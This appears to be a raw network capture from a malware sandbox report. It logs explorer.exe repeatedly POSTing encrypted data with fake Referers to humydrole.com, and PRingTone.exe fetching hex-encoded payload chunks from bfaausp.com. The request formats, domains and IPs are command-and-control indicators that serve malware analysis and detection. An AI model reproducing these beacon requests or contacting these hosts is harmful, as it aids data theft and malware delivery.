Dec 19, 2023 03:24:06.084368944 CET	735	IN	HTTP/1.1 522 Date: Tue, 19 Dec 2023 02:24:06 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4IqynYzSqDgjqGDPCEIPHPtnsMjzdi7OkpNVJY49%2BuZLm4NsFZooBpRbESbBwL4BNr9A0jo%2FAALxY4eGq75BZtRb28ExXhJRNtuIxER2OXGKedcczjD8NoTuQg5t4wFOtXNfs2JN2ksVuw8R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 837c2f365ef125be-MIA Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49782	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:35.364259958 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cxncgnbuejb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 308 Host: humydrole.com
Dec 19, 2023 03:23:35.364308119 CET	308	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 74 40 b1 be Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vut@)r@JNlK]44s7f9i&GdW>5CGoAY}e&UM9J/Y8-iwZ
Dec 19, 2023 03:23:36.531949997 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49784	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:36.823091984 CET	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bawvhkppetyuj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: humydrole.com
Dec 19, 2023 03:23:36.823164940 CET	344	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 43 59 d4 8a Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vuCYIw\|&4[<}2u)7I`L[sQBJ)tS53/*fl_%,xKp,Y6W2gVcm`>BY<
Dec 19, 2023 03:23:37.979995966 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49785	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:38.271043062 CET	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://brsxbmchvhtip.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 201 Host: humydrole.com
Dec 19, 2023 03:23:38.271080017 CET	201	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 6f 2e e2 bb Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vuo.z]la}DyqNncX\|-<_ZK,OUJ@NQ/'^&F@Ugu*c>
Dec 19, 2023 03:23:39.457010984 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49786	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:39.743396997 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hmjgwgkklvyq.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: humydrole.com
Dec 19, 2023 03:23:39.743396997 CET	234	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 75 3d c5 86 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vuu=K8~Bk#Sk?v8nk;`1OV87}_UTl{ 3gbG p]y!t]dS_PEyeN0
Dec 19, 2023 03:23:44.265659094 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:43 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49787	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:44.555888891 CET	287	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tncipmtcbgkxasri.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 135 Host: humydrole.com
Dec 19, 2023 03:23:44.555888891 CET	135	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 5f 05 d2 b9 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vu_/{B_f;#T6/\\|z72
Dec 19, 2023 03:23:45.729096889 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49788	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:46.076508999 CET	295	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62dde24353e1d9a943e9d15038842974dbc1dbaf7a1439f538166429e289d5b86953e226c55f676647fc2813369d184da325a5086de04ff12cd HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:46.365806103 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 66 36 34 0d 0a 64 65 32 66 66 65 39 31 32 63 31 61 35 32 35 39 65 62 32 33 36 34 33 64 36 63 30 66 61 34 35 39 33 36 66 66 30 39 34 38 39 65 34 64 30 65 63 35 66 38 61 30 39 35 61 66 65 61 36 38 38 63 33 66 30 66 33 66 31 63 39 36 39 32 30 39 64 30 34 61 35 37 39 64 30 61 64 33 30 33 38 37 31 31 61 38 62 66 66 33 35 30 39 39 35 65 39 66 32 37 30 30 39 36 32 37 39 64 35 62 39 62 39 66 33 36 32 37 36 63 34 33 61 39 32 37 32 35 36 63 63 32 39 37 36 65 33 33 38 30 38 39 63 35 33 30 35 39 35 38 38 61 64 62 30 36 66 32 31 30 63 37 64 63 34 32 62 32 32 33 33 62 30 31 35 37 63 32 34 32 32 36 64 66 35 35 66 63 33 39 38 33 34 32 34 63 61 39 32 61 66 34 61 37 31 65 39 36 34 36 35 39 61 33 62 37 62 64 38 38 66 65 64 33 61 65 35 36 65 30 66 62 62 63 39 65 64 61 33 38 33 38 38 32 31 64 61 33 33 31 65 65 37 39 30 37 61 31 62 65 37 65 61 35 30 32 64 66 62 37 37 33 39 65 31 31 62 31 63 61 39 32 33 30 35 37 39 64 62 31 64 36 33 32 39 64 65 64 38 62 65 61 31 38 66 39 34 36 64 35 35 34 32 38 64 62 32 38 61 61 39 34 33 62 63 32 37 61 30 38 35 35 34 63 39 36 64 37 66 31 64 39 65 63 37 62 37 38 34 61 32 39 32 34 62 33 36 62 65 62 62 61 32 36 32 35 32 33 61 30 63 62 37 33 36 31 33 38 31 61 65 31 39 34 36 35 35 61 34 33 62 66 34 66 62 65 62 33 66 62 64 30 33 65 32 31 31 32 31 31 32 33 34 66 64 63 30 32 64 30 35 63 30 34 35 36 66 35 31 38 31 61 33 38 38 32 65 63 63 32 37 38 38 34 39 36 64 63 38 65 30 64 34 32 33 36 63 34 61 65 34 37 36 35 65 37 66 62 37 61 34 38 39 39 65 38 34 38 38 37 31 38 66 33 31 66 34 33 38 34 32 66 63 61 66 30 62 63 32 35 35 62 65 63 37 30 63 37 37 62 33 35 36 35 62 33 34 38 66 35 66 35 63 64 31 38 32 66 31 32 63 30 62 64 38 64 63 38 63 63 65 33 35 34 36 37 64 38 35 66 31 62 39 39 30 35 32 30 63 38 32 31 38 63 64 34 37 30 31 37 34 38 36 35 31 66 34 65 39 39 64 65 30 32 39 33 64 61 39 30 32 35 37 61 38 31 64 30 63 38 33 61 37 63 31 66 62 38 32 61 34 36 64 64 63 31 33 35 34 65 31 63 30 63 62 37 30 38 66 39 65 63 36 63 35 34 38 66 35 65 65 65 65 64 30 63 30 33 62 33 62 65 66 33 36 64 35 31 31 34 35 65 39 37 34 65 36 66 62 39 66 62 61 33 64 63 64 66 31 66 61 34 37 35 31 61 61 62 32 65 65 31 30 32 37 39 30 36 37 31 34 63 63 33 35 31 63 66 65 31 31 32 32 37 38 62 35 62 37 35 65 66 63 35 63 66 38 61 66 63 33 61 64 30 65 66 32 37 33 31 31 63 61 37 36 34 31 33 61 31 31 36 31 33 39 65 66 32 62 30 31 34 65 38 63 63 62 66 30 34 63 35 61 65 38 30 65 32 62 65 36 65 31 36 66 33 64 66 62 32 63 31 37 30 32 38 33 61 36 64 61 66 37 30 38 35 39 66 35 30 32 34 38 66 34 39 38 35 32 64 31 61 61 63 35 61 32 64 62 33 31 63 34 30 31 37 65 64 32 36 38 66 36 32 62 32 63 64 63 32 64 33 39 64 62 30 35 62 32 39 66 36 63 33 39 33 62 38 36 38 31 38 30 65 61 61 32 34 33 38 66 61 66 65 38 61 32 65 65 65 61 31 39 30 39 38 36 65 37 32 31 65 61 34 39 66 35 64 65 37 37 37 65 30 66 66 64 33 33 30 33 64 36 32 37 39 34 64 35 37 36 38 34 39 36 34 63 63 36 39 35 61 61 66 64 66 66 30 35 30 61 30 66 32 32 64 36 65 35 65 66 32 66 66 66 62 37 33 31 38 30 65 30 39 31 31 36 63 62 61 35 63 38 37 64 38 39 36 66 36 64 38 37 31 32 34 39 31 37 61 38 31 35 61 37 39 36 34 38 36 66 38 32 32 31 66 39 33 30 36 34 32 62 35 62 64 32 38 32 38 66 61 38 65 31 34 33 30 64 66 31 63 36 62 66 61 61 61 31 31 39 32 33 31 61 37 66 34 34 30 38 63 30 63 36 30 39 32 63 64 64 33 36 36 63 Data Ascii: f64de2ffe912c1a5259eb23643d6c0fa45936ff09489e4d0ec5f8a095afea688c3f0f3f1c969209d04a579d0ad3038711a8bff350995e9f270096279d5b9b9f36276c43a927256cc2976e338089c53059588adb06f210c7dc42b2233b0157c24226df55fc3983424ca92af4a71e964659a3b7bd88fed3ae56e0fbbc9eda3838821da331ee7907a1be7ea502dfb7739e11b1ca9230579db1d6329ded8bea18f946d55428db28aa943bc27a08554c96d7f1d9ec7b784a2924b36bebba262523a0cb7361381ae194655a43bf4fbeb3fbd03e211211234fdc02d05c0456f5181a3882ecc2788496dc8e0d4236c4ae4765e7fb7a4899e8488718f31f43842fcaf0bc255bec70c77b3565b348f5f5cd182f12c0bd8dc8cce35467d85f1b990520c8218cd4701748651f4e99de0293da90257a81d0c83a7c1fb82a46ddc1354e1c0cb708f9ec6c548f5eeeed0c03b3bef36d51145e974e6fb9fba3dcdf1fa4751aab2ee1027906714cc351cfe112278b5b75efc5cf8afc3ad0ef27311ca76413a116139ef2b014e8ccbf04c5ae80e2be6e16f3dfb2c170283a6daf70859f50248f49852d1aac5a2db31c4017ed268f62b2cdc2d39db05b29f6c393b868180eaa2438fafe8a2eeea190986e721ea49f5de777e0ffd3303d62794d57684964cc695aafdff050a0f22d6e5ef2fffb73180e09116cba5c87d896f6d87124917a815a796486f8221f930642b5bd2828fa8e1430df1c6bfaaa119231a7f4408c0c6092cdd366c
Dec 19, 2023 03:23:46.365865946 CET	1286	IN	Data Raw: 34 37 33 62 38 38 63 63 35 30 65 35 38 61 62 64 36 39 30 36 65 36 66 66 33 36 30 65 38 36 36 61 62 61 33 65 65 64 31 65 63 39 32 31 32 34 32 33 38 32 34 38 32 37 31 35 36 62 39 37 37 37 66 61 36 61 36 36 35 36 30 35 31 31 35 39 36 61 64 30 39 36 Data Ascii: 473b88cc50e58abd6906e6ff360e866aba3eed1ec9212423824827156b9777fa6a66560511596ad0964ef6433ad8c78f5ae41756361fc6d236dbdc5177441f6c1d590f1e58e09e363397cd2bf5ac9ba242bc0e45ce6d24cf238ad875b480dd814d00a3901cd1f35482034f85c4ba4ced30170cdbefbb21a4c8a
Dec 19, 2023 03:23:46.365906000 CET	1286	IN	Data Raw: 35 38 66 32 61 63 62 39 32 30 33 61 63 35 61 65 65 62 34 66 65 31 33 64 39 63 30 65 37 38 38 37 31 34 66 38 65 38 63 38 33 66 35 64 32 63 62 65 65 63 63 64 31 62 35 61 62 33 39 62 31 35 34 64 39 31 30 37 62 63 34 64 61 61 62 32 64 30 64 39 64 36 Data Ascii: 58f2acb9203ac5aeeb4fe13d9c0e788714f8e8c83f5d2cbeeccd1b5ab39b154d9107bc4daab2d0d9d64c158525433a9c3b820c3fd4e2bdd75d23ce6a3328d7441694630b69331f182bc29d0276841baeabd7c04488999721ac47ac5d7119977393e4026c7427e3f85a2da3b61b8bcbab90332231c2c2e98fe0e
Dec 19, 2023 03:23:46.365942001 CET	285	IN	Data Raw: 35 39 32 35 33 61 66 34 65 63 36 37 30 36 34 34 65 32 61 33 33 37 35 37 62 63 66 61 36 64 31 34 33 64 38 34 61 30 30 35 37 39 36 31 36 36 39 37 66 37 34 61 31 65 36 63 65 62 62 62 64 61 30 64 37 65 32 66 35 64 35 35 30 30 33 64 61 32 64 39 37 36 Data Ascii: 59253af4ec670644e2a33757bcfa6d143d84a00579616697f74a1e6cebbbda0d7e2f5d55003da2d976c839ec6ce7f476fc62be43e9a6261643f2a54a661026e48a83e7dc695df54e44922ab7aef2c6cc0ae21d71efc4e0348b0e427a3e6fb5e250a47331bc0598eb992cd31e52556d7e238a571e5e766a96239
Dec 19, 2023 03:23:46.366044998 CET	300	IN	Data Raw: 31 32 30 0d 0a 34 36 32 32 35 65 38 31 35 33 38 34 35 31 65 39 34 30 65 66 62 65 65 36 39 34 38 62 36 63 39 66 31 66 34 61 63 39 35 64 62 33 61 32 64 39 36 33 34 38 37 35 31 39 37 64 64 61 36 66 38 62 39 61 62 38 61 32 66 38 66 33 32 61 38 32 37 Data Ascii: 12046225e81538451e940efbee6948b6c9f1f4ac95db3a2d9634875197dda6f8b9ab8a2f8f32a82727a65ccaf887a20488b398bda65643f91c6608c2391246fd32fa56a48a3fbfde98c49720e37a411a1ba2a9ed361067558abae66074f6bccb63390e68033e5bdb44612901afaf4e59b938e64e4925f0023
Dec 19, 2023 03:23:49.202912092 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:23:49.533905983 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:23:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49793	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:49.919547081 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
